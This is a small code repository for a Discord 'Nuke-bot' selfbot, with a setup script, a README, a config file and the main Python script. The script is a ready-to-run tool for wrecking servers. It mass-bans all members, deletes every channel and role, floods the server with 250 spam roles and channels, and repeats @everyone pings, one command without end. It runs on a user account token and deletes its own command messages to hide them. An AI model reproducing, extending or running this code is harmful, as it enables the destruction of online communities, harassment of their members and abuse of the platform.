├── setup.bat ├── README.md ├── config.json └── selfbot.py /setup.bat: -------------------------------------------------------------------------------- 1 | pip install --upgrade discord numpy 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Nuke-bot 2 | Nukes a server using discord.py 3 | 4 | =================================== 5 | 6 | Use bot.py if u want it to work as a bot, use selfbot.py if u want it to work like a self bot 7 | -------------------------------------------------------------------------------- /config.json: -------------------------------------------------------------------------------- 1 | { 2 | "comment": "leave silent off if u want it to not send messages while nuking logs will be printed in console instead, put it on if you do", 3 | "token": "TOKEN HERE", 4 | "silent": "on", 5 | "prefix": "." 6 | } 7 | -------------------------------------------------------------------------------- /selfbot.py: -------------------------------------------------------------------------------- 1 | import discord 2 | from discord.ext import commands 3 | from aiohttp import request 4 | import random 5 | import time 6 | import os 7 | import numpy 8 | import string 9 | import json 10 | 11 | with open('config.json') as f: 12 | config = json.load(f) 13 | version = "2" 14 | token = config.get('token') 15 | silent = config.get('silent') 16 | prefix = config.get('prefix') 17 | JumboPic = "https://upload.wikimedia.org/wikipedia/commons/thumb/a/ae/Nuclear_symbol.svg/1200px-Nuclear_symbol.svg.png" 18 | BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[1;94m', '\033[1;91m', '\33[1;97m', '\33[1;93m', '\033[1;35m', '\033[1;32m', '\033[0m' 19 | helplog = (''' 20 | [Destory] Deletes everything 21 | [Ban_all] Bans all members 22 | [Role_delete] Deletes all roles 23 | [Role_spam] Spams roles 24 | [Channel_delete] Deletes all channels 25 | [Channel_spam] Spams channels 26 | ''') 27 | client = commands.Bot(command_prefix = f'{prefix}', self_bot=True) 28 | main = (f''' 29 | 30 | ███╗ ██╗██╗ ██╗██╗ ██╗███████╗ ██████╗ ██████╗ ████████╗ 31 | ████╗ ██║██║ ██║██║ ██╔╝██╔════╝ ██╔══██╗██╔═══██╗╚══██╔══╝ 32 | ██╔██╗ ██║██║ ██║█████╔╝ █████╗ ██████╔╝██║ ██║ ██║ 33 | ██║╚██╗██║██║ ██║██╔═██╗ ██╔══╝ ██╔══██╗██║ ██║ ██║ 34 | ██║ ╚████║╚██████╔╝██║ ██╗███████╗ ██████╔╝╚██████╔╝ ██║ 35 | ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ 36 | 37 | By Jammy#4613 38 | Version : {version} 39 | Silent mode : {silent} 40 | Type {prefix}help for commands 41 | ''') 42 | @client.event 43 | async def on_ready(): 44 | print(main) 45 | print("[!]Bot online") 46 | client.remove_command('help') 47 | 48 | @client.command() 49 | async def help(ctx): 50 | await ctx.message.delete() 51 | embed = discord.Embed(color=ctx.author.color) 52 | embed.set_author(name="Nuke Bot / Made by Jammy#4613") 53 | embed.add_field(name="Destory", value="\nDeletes everything!", inline=False) 54 | embed.add_field(name="Ban_all", value="\nBans all users", inline=False) 55 | embed.add_field(name="Role_delete", value="\nDeletes all roles", inline=False) 56 | embed.add_field(name="Role_spam", value="\nSpams roles", inline=False) 57 | embed.add_field(name="Channel_delete", value="\nDeletes all channels", inline=False) 58 | embed.add_field(name="Channel_spam", value="\nDeletes all channels", inline=False) 59 | embed.add_field(name="Spam_ping", value="\nSpams a msg in all channels", inline=False) 60 | embed.add_field(name="Destroy_ping", value="\nSpams a msg in all channels infintly", inline=False) 61 | 62 | embed.set_thumbnail(url=JumboPic) 63 | if silent == 'off': 64 | await ctx.send(embed=embed) 65 | else: 66 | print(helplog) 67 | 68 | @client.command() 69 | async def channel_delete(ctx): 70 | await ctx.message.delete() 71 | if silent == 'off': 72 | await ctx.send(f"`Deleting channels`") 73 | else: 74 | print("[!] Deleting channels") 75 | for channel in list(ctx.guild.channels): 76 | try: 77 | await channel.delete() 78 | except: 79 | pass 80 | @client.command() 81 | async def spam_ping(ctx, *, message): 82 | await ctx.message.delete() 83 | if silent == 'off': 84 | await ctx.send(f"`Spamming channels`") 85 | else: 86 | print("[!] Spamming channels") 87 | for channel in list(ctx.guild.channels): 88 | try: 89 | for _i in range(25): 90 | await channel.send(f"@everyone {message}") 91 | except: 92 | pass 93 | @client.command() 94 | async def destroy_ping(ctx, *, message): 95 | await ctx.message.delete() 96 | if silent == 'off': 97 | await ctx.send(f"`Spamming channels`") 98 | else: 99 | print("[!] Spamming channels") 100 | for channel in list(ctx.guild.channels): 101 | try: 102 | while True: 103 | for _i in range(25): 104 | await channel.send(f"@everyone {message}") 105 | except: 106 | pass 107 | @client.command() 108 | async def ban_all(ctx): 109 | await ctx.message.delete() 110 | if silent == 'off': 111 | await ctx.send(f"`Banning all users`") 112 | else: 113 | print("[!] Banning all users") 114 | for user in list(ctx.guild.members): 115 | try: 116 | await user.ban() 117 | except: 118 | pass 119 | @client.command() 120 | async def role_delete(ctx): 121 | await ctx.message.delete() 122 | if silent == 'off': 123 | await ctx.send(f"`Deleting all roles`") 124 | else: 125 | print("[!] Deleting all roles") 126 | for role in list(ctx.guild.roles): 127 | try: 128 | await role.delete() 129 | except: 130 | pass 131 | @client.command() 132 | async def role_spam(ctx, *, name): 133 | await ctx.message.delete() 134 | if silent == 'off': 135 | await ctx.send(f"`Spamming roles`") 136 | else: 137 | print("[!] Spamming roles") 138 | for _i in range(250): 139 | await ctx.guild.create_role(name=f"{name}") 140 | @client.command() 141 | async def channel_spam(ctx, *, name): 142 | await ctx.message.delete() 143 | if silent == 'off': 144 | await ctx.send(f"`Spamming channels`") 145 | else: 146 | print("[!] Spamming channels") 147 | for _i in range(250): 148 | await ctx.guild.create_text_channel(name=f"{name}") 149 | 150 | @client.event 151 | async def on_command_error(ctx, error): 152 | await ctx.message.delete() 153 | if silent == 'off': 154 | await ctx.send(f"Command not found!", delete_after=3) 155 | else: 156 | print("[!] Command not found") 157 | 158 | @client.command() 159 | async def destroy(ctx): 160 | await ctx.message.delete() 161 | if silent == 'off': 162 | await ctx.send(f"Destorying everything") 163 | else: 164 | print("[!] Destorying everything") 165 | for user in list(ctx.guild.members): 166 | try: 167 | await user.ban() 168 | except: 169 | pass 170 | for channel in list(ctx.guild.channels): 171 | try: 172 | await channel.delete() 173 | except: 174 | pass 175 | for role in list(ctx.guild.roles): 176 | try: 177 | await role.delete() 178 | except: 179 | pass 180 | for _i in range(250): 181 | await ctx.guild.create_role(name=f"Nuked-by-Jammy#4613") 182 | for _i in range(250): 183 | await ctx.guild.create_text_channel(name=f"Nuked-by-Jammy#4613") 184 | print("Attack finished") 185 | client.run(token, bot=False) 186 | --------------------------------------------------------------------------------